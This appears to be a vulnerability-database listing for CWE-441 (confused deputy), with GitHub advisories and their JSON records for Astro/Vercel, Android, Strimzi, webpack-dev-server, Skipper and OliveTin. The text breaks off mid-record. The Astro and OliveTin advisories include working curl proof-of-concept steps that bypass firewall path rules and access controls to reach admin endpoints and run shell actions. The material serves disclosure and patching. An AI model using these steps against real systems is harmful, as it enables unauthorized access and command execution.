Common Weakness Enumeration

CWE-441

Allowed-with-Review

Unintended Proxy or Intermediary ('Confused Deputy')

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

153 vulnerabilities reference this CWE, most recent first.

GHSA-MR6Q-RP88-FX84

Vulnerability from github – Published: 2026-03-26 18:41 – Updated: 2026-03-26 18:41
VLAI
Summary
Astro: Unauthenticated Path Override via `x-astro-path` / `x_astro_path`
Details

Summary

The @astrojs/vercel serverless entrypoint reads the x-astro-path header and x_astro_path query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely.

The override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking /admin/* does nothing when the request comes in as POST /api/health?x_astro_path=/admin/delete-user.

Affected Versions

Verified against: - Astro 5.18.1 + @astrojs/vercel 9.0.4 — GET and POST override both work. Full exploitation. - Astro 6.0.3 + @astrojs/vercel 10.0.0 — GET override works. POST/DELETE hit a duplex bug in the Request constructor (the duplex: 'half' option is required when passing a ReadableStream body — this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix — the code explicitly passes body: request.body and intends to preserve it. Once the missing duplex option is added, all methods will be exploitable on v6 as well.

The vulnerable code path is identical across both versions.

Affected Component

  • Package: @astrojs/vercel
  • File: packages/integrations/vercel/src/serverless/entrypoint.ts (lines 19–28)
  • Constants: packages/integrations/vercel/src/index.ts (lines 44–45)

Vulnerable Code

The handler blindly trusts the caller-supplied path:

const realPath =
    request.headers.get(ASTRO_PATH_HEADER) ??
    url.searchParams.get(ASTRO_PATH_PARAM);
if (typeof realPath === 'string') {
    url.pathname = realPath;  // no validation, no auth
    request = new Request(url.toString(), {
        method: request.method,   // preserved
        headers: request.headers, // preserved
        body: request.body,       // preserved
    });
}

What makes this worse is the inconsistency. x-astro-locals right below it is gated behind middlewareSecret, but x-astro-path gets nothing:

// x-astro-locals: protected
if (astroLocalsHeader) {
    if (middlewareSecretHeader !== middlewareSecret) {
        return new Response('Forbidden', { status: 403 });
    }
    locals = JSON.parse(astroLocalsHeader);
}
// x-astro-path: no equivalent check (lines 19-28 above)

Conditions

  1. Astro + @astrojs/vercel adapter
  2. output: 'server' (SSR)
  3. No src/middleware.ts defined, or middleware not using Edge mode

This is a realistic production configuration. Middleware is optional and many deployments skip it.

The x-astro-path mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (_render) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.

Proof of Concept

Setup: minimal Astro SSR project on Vercel, no middleware. Routes: /public (page), /api/health (API endpoint), /admin/secret (page), /admin/delete-user (API endpoint). Vercel Firewall blocks /admin/*.

GET — page content override:

curl "https://target.vercel.app/public?x_astro_path=/admin/secret"
# Returns: PAGE_ID: admin-secret

GET — API route override:

curl "https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"
# Returns: {"pageId":"admin-delete-user","message":"This is a protected admin API endpoint","method":"GET"}

Header override:

curl -H "x-astro-path: /admin/secret" https://target.vercel.app/public
# Returns: PAGE_ID: admin-secret

Vercel Firewall bypass (GET):

# Direct access — blocked
curl https://target.vercel.app/admin/secret
# Returns: Forbidden

# Via override — Firewall sees /public, serves /admin/secret
curl "https://target.vercel.app/public?x_astro_path=/admin/secret"
# Returns: PAGE_ID: admin-secret

Vercel Firewall bypass (POST) — verified on Astro 5.x:

# Direct access — blocked
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
  https://target.vercel.app/admin/delete-user
# Returns: Forbidden

# Via override — Firewall sees /api/health, executes POST /admin/delete-user
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
  "https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"
# Returns: {"action":"delete-user","status":"deleted","method":"POST"}

The Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.

ISR is not affected. Vercel's cache layer appears to intercept before the function runs.

Impact

Firewall/WAF bypass — read (Critical): Any path-based restriction in Vercel Dashboard or vercel.json (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.

Firewall/WAF bypass — write (Critical): POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated duplex bug in the Request constructor, not by any security check.

Audit log mismatch (Medium): Vercel logs record the original request path and query string (e.g. /public?x_astro_path=/admin/secret), so the override parameter is technically visible. However, the logged path (/public) does not reflect the path actually served (/admin/secret). Detecting this attack from logs requires knowing what x_astro_path means — standard monitoring and alerting based on request paths will not catch it.

Prior Art

CVE-2025-29927 (Next.js): x-middleware-subrequest header injectable by external clients, bypassing middleware. Same class of vulnerability.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@astrojs/vercel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33768"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:41:34Z",
    "nvd_published_at": "2026-03-24T19:16:55Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `@astrojs/vercel` serverless entrypoint reads the `x-astro-path` header and `x_astro_path` query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel\u0027s platform-level path restrictions entirely.\n\nThe override preserves the original HTTP method and body, so this isn\u0027t limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking `/admin/*` does nothing when the request comes in as `POST /api/health?x_astro_path=/admin/delete-user`.\n\n## Affected Versions\n\nVerified against:\n- **Astro 5.18.1 + @astrojs/vercel 9.0.4** \u2014 GET and POST override both work. Full exploitation.\n- **Astro 6.0.3 + @astrojs/vercel 10.0.0** \u2014 GET override works. POST/DELETE hit a `duplex` bug in the Request constructor (the `duplex: \u0027half\u0027` option is required when passing a ReadableStream body \u2014 this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix \u2014 the code explicitly passes `body: request.body` and intends to preserve it. Once the missing `duplex` option is added, all methods will be exploitable on v6 as well.\n\nThe vulnerable code path is identical across both versions.\n\n## Affected Component\n\n- **Package**: `@astrojs/vercel`\n- **File**: `packages/integrations/vercel/src/serverless/entrypoint.ts` (lines 19\u201328)\n- **Constants**: `packages/integrations/vercel/src/index.ts` (lines 44\u201345)\n\n## Vulnerable Code\n\nThe handler blindly trusts the caller-supplied path:\n\n```typescript\nconst realPath =\n    request.headers.get(ASTRO_PATH_HEADER) ??\n    url.searchParams.get(ASTRO_PATH_PARAM);\nif (typeof realPath === \u0027string\u0027) {\n    url.pathname = realPath;  // no validation, no auth\n    request = new Request(url.toString(), {\n        method: request.method,   // preserved\n        headers: request.headers, // preserved\n        body: request.body,       // preserved\n    });\n}\n```\n\nWhat makes this worse is the inconsistency. `x-astro-locals` right below it is gated behind `middlewareSecret`, but `x-astro-path` gets nothing:\n\n```typescript\n// x-astro-locals: protected\nif (astroLocalsHeader) {\n    if (middlewareSecretHeader !== middlewareSecret) {\n        return new Response(\u0027Forbidden\u0027, { status: 403 });\n    }\n    locals = JSON.parse(astroLocalsHeader);\n}\n// x-astro-path: no equivalent check (lines 19-28 above)\n```\n\n## Conditions\n\n1. Astro + `@astrojs/vercel` adapter\n2. `output: \u0027server\u0027` (SSR)\n3. No `src/middleware.ts` defined, or middleware not using Edge mode\n\nThis is a realistic production configuration. Middleware is optional and many deployments skip it.\n\nThe `x-astro-path` mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (`_render`) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.\n\n## Proof of Concept\n\nSetup: minimal Astro SSR project on Vercel, no middleware. Routes: `/public` (page), `/api/health` (API endpoint), `/admin/secret` (page), `/admin/delete-user` (API endpoint). Vercel Firewall blocks `/admin/*`.\n\n**GET \u2014 page content override:**\n```bash\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**GET \u2014 API route override:**\n```bash\ncurl \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"pageId\":\"admin-delete-user\",\"message\":\"This is a protected admin API endpoint\",\"method\":\"GET\"}\n```\n\n**Header override:**\n```bash\ncurl -H \"x-astro-path: /admin/secret\" https://target.vercel.app/public\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (GET):**\n```bash\n# Direct access \u2014 blocked\ncurl https://target.vercel.app/admin/secret\n# Returns: Forbidden\n\n# Via override \u2014 Firewall sees /public, serves /admin/secret\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (POST) \u2014 verified on Astro 5.x:**\n```bash\n# Direct access \u2014 blocked\ncurl -X POST -H \"Content-Type: application/json\" -d \u0027{\"userId\":\"123\"}\u0027 \\\n  https://target.vercel.app/admin/delete-user\n# Returns: Forbidden\n\n# Via override \u2014 Firewall sees /api/health, executes POST /admin/delete-user\ncurl -X POST -H \"Content-Type: application/json\" -d \u0027{\"userId\":\"123\"}\u0027 \\\n  \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"action\":\"delete-user\",\"status\":\"deleted\",\"method\":\"POST\"}\n```\n\nThe Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.\n\nISR is not affected. Vercel\u0027s cache layer appears to intercept before the function runs.\n\n## Impact\n\n**Firewall/WAF bypass \u2014 read (Critical):** Any path-based restriction in Vercel Dashboard or `vercel.json` (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.\n\n**Firewall/WAF bypass \u2014 write (Critical):** POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated `duplex` bug in the Request constructor, not by any security check.\n\n**Audit log mismatch (Medium):** Vercel logs record the original request path and query string (e.g. `/public?x_astro_path=/admin/secret`), so the override parameter is technically visible. However, the logged path (`/public`) does not reflect the path actually served (`/admin/secret`). Detecting this attack from logs requires knowing what `x_astro_path` means \u2014 standard monitoring and alerting based on request paths will not catch it.\n\n## Prior Art\n\nCVE-2025-29927 (Next.js): `x-middleware-subrequest` header injectable by external clients, bypassing middleware. Same class of vulnerability.",
  "id": "GHSA-mr6q-rp88-fx84",
  "modified": "2026-03-26T18:41:34Z",
  "published": "2026-03-26T18:41:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-mr6q-rp88-fx84"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33768"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/pull/15959"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/335a204161f5a7293c128db570901d4f8639c6ed"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-f82v-jwr5-mffw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/releases/tag/@astrojs/vercel@10.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro: Unauthenticated Path Override via `x-astro-path` / `x_astro_path`"
}

GHSA-MW23-V9J7-5FV7

Vulnerability from github – Published: 2026-06-02 00:31 – Updated: 2026-06-02 00:31
VLAI
Details

In getCallingPackageName of Shared.java, there is a possible way to bypass activity start restrictions due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-0098"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-01T22:16:23Z",
    "severity": "HIGH"
  },
  "details": "In getCallingPackageName of Shared.java, there is a possible way to bypass activity start restrictions due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-mw23-v9j7-5fv7",
  "modified": "2026-06-02T00:31:57Z",
  "published": "2026-06-02T00:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0098"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-06-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MW9R-P8XP-WX96

Vulnerability from github – Published: 2026-06-18 13:04 – Updated: 2026-06-18 13:04
VLAI
Summary
Strimzi: Cross-namespace privilege escalation via `Kafka.spec.entityOperator`
Details

Impact

Having the Topic and User operators to watch different namespaces than the one where the Kafka cluster is deployed, is a fully documented feature.

When the watchedNamespace field is used within the Topic or User operator (as part of the Kafka.spec.entityOperator field), the Cluster Operator creates a Role granting full CRUD on Secrets into the specified namespace. It also creates a RoleBinding to bind such Role to the entity operator ServiceAccount within the namespace where the Kafka cluster runs.

An attacker can craft a Kafka custom resource (in an attacker's namespace) with the watchedNamespace field set to a target namespace and then they can mint a token for the ServiceAccount (in the attacker's namespace) to read/write Secrets in that target. This is valid with any target namespace for which the Cluster Operator has the rights (regardless the value of the STRIMZI_NAMESPACE environment variable). The at-risk target namespaces are the namespaces which the user has given permissions to the Cluster Operator for, by creating related RoleBinding(s).

Patches

The issue is fixed in Strimzi 1.0.1 and 1.1.0 by adding a control to enable the watched namespace feature through a dedicated environment variable within the Cluster Operator deployment. The watched namespaces feature is disabled by default.

Workarounds

A possible workaround for this issue is about using a policy agent like Kyverno or OPA to prevent the usage of the watchedNamespace at configuration level within the Kafka custom resource.

Severity
8.0 (High)
CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.strimzi:strimzi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55225"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:04:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nHaving the Topic and User operators to watch different namespaces than the one where the Kafka cluster is deployed, is a fully documented feature.\n\nWhen the `watchedNamespace` field is used within the Topic or User operator (as part of the `Kafka.spec.entityOperator` field), the Cluster Operator creates a Role granting full CRUD on Secrets into the specified namespace. It also creates a RoleBinding to bind such Role to the entity operator ServiceAccount within the namespace where the Kafka cluster runs.\n\nAn attacker can craft a Kafka custom resource (in an attacker\u0027s namespace) with the `watchedNamespace` field set to a target namespace and then they can mint a token for the ServiceAccount (in the attacker\u0027s namespace)  to read/write Secrets in that target. This is valid with any target namespace for which the Cluster Operator has the rights (regardless the value of the  `STRIMZI_NAMESPACE` environment variable). The at-risk target namespaces are the namespaces which the user has given permissions to the Cluster Operator for, by creating related RoleBinding(s).\n\n### Patches\n\nThe issue is fixed in Strimzi 1.0.1 and 1.1.0 by adding a control to enable the watched namespace feature through a dedicated environment variable within the Cluster Operator deployment. The watched namespaces feature is disabled by default.\n\n### Workarounds\n\nA possible workaround for this issue is about using a policy agent like Kyverno or OPA to prevent the usage of the `watchedNamespace` at configuration level within the `Kafka` custom resource.",
  "id": "GHSA-mw9r-p8xp-wx96",
  "modified": "2026-06-18T13:04:44Z",
  "published": "2026-06-18T13:04:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strimzi/strimzi-kafka-operator/security/advisories/GHSA-mw9r-p8xp-wx96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strimzi/strimzi-kafka-operator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Strimzi: Cross-namespace privilege escalation via `Kafka.spec.entityOperator`"
}

GHSA-MX8G-39Q3-5C79

Vulnerability from github – Published: 2026-06-17 18:13 – Updated: 2026-06-17 18:13
VLAI
Summary
webpack-dev-server vulnerable to HMR WebSocket interception via permissive user proxies
Details

Impact

When a user-configured proxy on webpack-dev-server has a broad context (e.g. /) and ws: true, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and Origin header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket).

Patches

Fixed in webpack-dev-server 5.2.5.

Workarounds

Scope user-defined proxy context to specific paths instead of /, or omit ws: true from the proxy entry when WebSocket forwarding is not required.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "webpack-dev-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-9595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T18:13:31Z",
    "nvd_published_at": "2026-06-15T16:16:35Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nWhen a user-configured proxy on `webpack-dev-server` has a broad context (e.g. `/`) and `ws: true`, it also intercepts the dev server\u0027s own HMR WebSocket and forwards it to the proxy target. This leaks the browser\u0027s cookies and `Origin` header to the backend, bypasses the dev server\u0027s Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket).\n\n### Patches\n\nFixed in `webpack-dev-server` 5.2.5.\n\n### Workarounds\n\nScope user-defined proxy `context` to specific paths instead of `/`, or omit `ws: true` from the proxy entry when WebSocket forwarding is not required.",
  "id": "GHSA-mx8g-39q3-5c79",
  "modified": "2026-06-17T18:13:32Z",
  "published": "2026-06-17T18:13:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-mx8g-39q3-5c79"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9595"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebook/create-react-app/pull/7444"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/pull/4316"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vuejs/vue-cli/commit/72ba7505aff2a8314e82aa5082379a77504a1fcb"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/webpack/webpack-dev-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "webpack-dev-server vulnerable to HMR WebSocket interception via permissive user proxies"
}

GHSA-MXRR-M6CH-MC9V

Vulnerability from github – Published: 2025-09-04 21:31 – Updated: 2025-09-04 21:31
VLAI
Details

In setRingtoneUri of VoicemailNotificationSettingsUtil.java , there is a possible cross user data leak due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-48529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T19:15:38Z",
    "severity": "MODERATE"
  },
  "details": "In setRingtoneUri of VoicemailNotificationSettingsUtil.java , there is a possible cross user data leak due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-mxrr-m6ch-mc9v",
  "modified": "2025-09-04T21:31:38Z",
  "published": "2025-09-04T21:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48529"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/opt/telephony/+/e5cdca27526f5c2c358880538c7a15d8d5d5dd6d"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXXC-P822-2HX9

Vulnerability from github – Published: 2026-01-26 23:26 – Updated: 2026-01-29 03:24
VLAI
Summary
Skipper Ingress Controller Allows Unauthorized Access to Internal Services via ExternalName
Details

Impact

When running Skipper as an Ingress controller, users with permissions to create an Ingress and a Service of type ExternalName can create routes that enable them to use Skipper's network access to reach internal services.

Patches

https://github.com/zalando/skipper/releases/tag/v0.24.0 disables Kubernetes ExternalName by default.

Workarounds

Developers can allow list targets of an ExternalName by using -kubernetes-only-allowed-external-names=true and allow list via regular expressions -kubernetes-allowed-external-name '^[a-z][a-z0-9-.]+[.].allowed.example$'

References

https://kubernetes.io/docs/concepts/services-networking/service/#externalname

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zalando/skipper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-26T23:26:56Z",
    "nvd_published_at": "2026-01-26T23:16:09Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nWhen running Skipper as an Ingress controller, users with permissions to create an Ingress and a Service of type ExternalName can create routes that enable them to use Skipper\u0027s network access to reach internal services.\n\n### Patches\n\nhttps://github.com/zalando/skipper/releases/tag/v0.24.0 disables Kubernetes ExternalName by default.\n\n### Workarounds\n\nDevelopers can allow list targets of an ExternalName by using `-kubernetes-only-allowed-external-names=true` and allow list via regular expressions `-kubernetes-allowed-external-name \u0027^[a-z][a-z0-9-.]+[.].allowed.example$\u0027` \n\n### References\n\nhttps://kubernetes.io/docs/concepts/services-networking/service/#externalname",
  "id": "GHSA-mxxc-p822-2hx9",
  "modified": "2026-01-29T03:24:42Z",
  "published": "2026-01-26T23:26:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24470"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/commit/a4c87ce029a58eb8e1c2c1f93049194a39cf6219"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zalando/skipper"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/releases/tag/v0.24.0"
    },
    {
      "type": "WEB",
      "url": "https://kubernetes.io/docs/concepts/services-networking/service/#externalname"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Skipper Ingress Controller Allows Unauthorized Access to Internal Services via ExternalName"
}

GHSA-P443-P7W5-2F7F

Vulnerability from github – Published: 2026-03-05 20:53 – Updated: 2026-03-06 22:52
VLAI
Summary
OliveTin's RestartAction always runs actions as guest
Details

Summary

An authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run.

RestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution.

This vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions.

Details

Affected files:

service/internal/api/api.go

service/internal/auth/authcheck.go

Relevant code in RestartAction:

return api.StartAction(ctx, &connect.Request[apiv1.StartActionRequest]{
    Msg: &apiv1.StartActionRequest{
        BindingId:        execReqLogEntry.GetBindingId(),
        UniqueTrackingId: req.Msg.ExecutionTrackingId,
    },
})

Authentication in StartAction:

authenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg)

Issue:

  1. RestartAction creates a new connect.Request object.

  2. The new request does not preserve caller headers or cookies.

  3. UserFromApiCall() attempts to resolve the user from the request.

  4. Because authentication headers are missing, it falls back to the guest user.

  5. If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges.

PoC

Configuration:

defaultPermissions:
  exec: false

users:
  - username: low
    password: lowpass
    permissions:
      exec: false

  - username: guest
    permissions:
      exec: true

actions:
  - id: restart_bypass_action
    shell: |
      echo "pwned" > /tmp/olivetin_restart_bypass.txt

Steps to reproduce:

Login as low user

LOW_LOGIN=$(curl -sS -i -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \
  -H 'Content-Type: application/json' \
  -d '{"username":"low","password":"lowpass"}')

LOW_SID=$(printf '%s\n' "$LOW_LOGIN" | tr -d '\r' | \
  awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}')

Attempt direct execution (correctly blocked)

LOW_RUN=$(curl -sS -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"actionId":"restart_bypass_action"}')

echo "$LOW_RUN"

This should return permission denied.

Extract executionTrackingId from response:

TRACKING_ID=$(printf '%s' "$LOW_RUN" | \
  sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p' | head -n1)

echo "Tracking ID: $TRACKING_ID"

Call RestartAction:

curl -sS -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d "{\"executionTrackingId\":\"$TRACKING_ID\"}"

Verify command executed:

cat /tmp/olivetin_restart_bypass.txt

Output:

pwned

Impact

  • Privilege Escalation
  • ACL Bypass
  • Unauthorized Command Execution

Any authenticated low-privilege user can execute actions they are not authorized to run if: - Guest has broader permissions - RestartAction is enabled Because OliveTin actions execute system shell commands, this can lead to: - Arbitrary file writes - Sensitive data exposure - Potential full host compromise (depending on OliveTin runtime privileges)

This affects all deployments where: - guest.exec = true - A restricted user has exec = false - RestartAction endpoint is accessible

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260305000458-cb46a597b246"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30225"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-250",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T20:53:46Z",
    "nvd_published_at": "2026-03-06T21:16:16Z",
    "severity": "MODERATE"
  },
